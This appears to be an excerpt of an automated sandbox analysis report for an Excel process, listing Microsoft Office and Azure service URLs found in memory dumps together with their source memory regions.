https://entitlement.diagnosticssdf.office.com
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmpString found in binary or memory: https://entity.osi.office.net/t
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechZ
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://graph.ppe.windows.netN
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://graph.windows.net
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://graph.windows.net/
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://graph.windows.net/e
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://graph.windows.neticWT
    Source: EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://hubble.officeapps.live.com
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://hubble.officeapps.live.comr
    Source: EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetryOfficeOnlineContenthttps://insertmedia.
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.692896504.000000000E000000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422649974.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422649974.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?OfficeOnlineContentM365Iconshttps://hu
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?o
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://incidents.diagnosticssdf.office.comt
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://inclient.store.office.com/gyro/client
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://inclient.store.office.com/gyro/clientl
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://inclient.store.office.com/gyro/clientstore
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://inclient.store.office.com/gyro/clientstoret
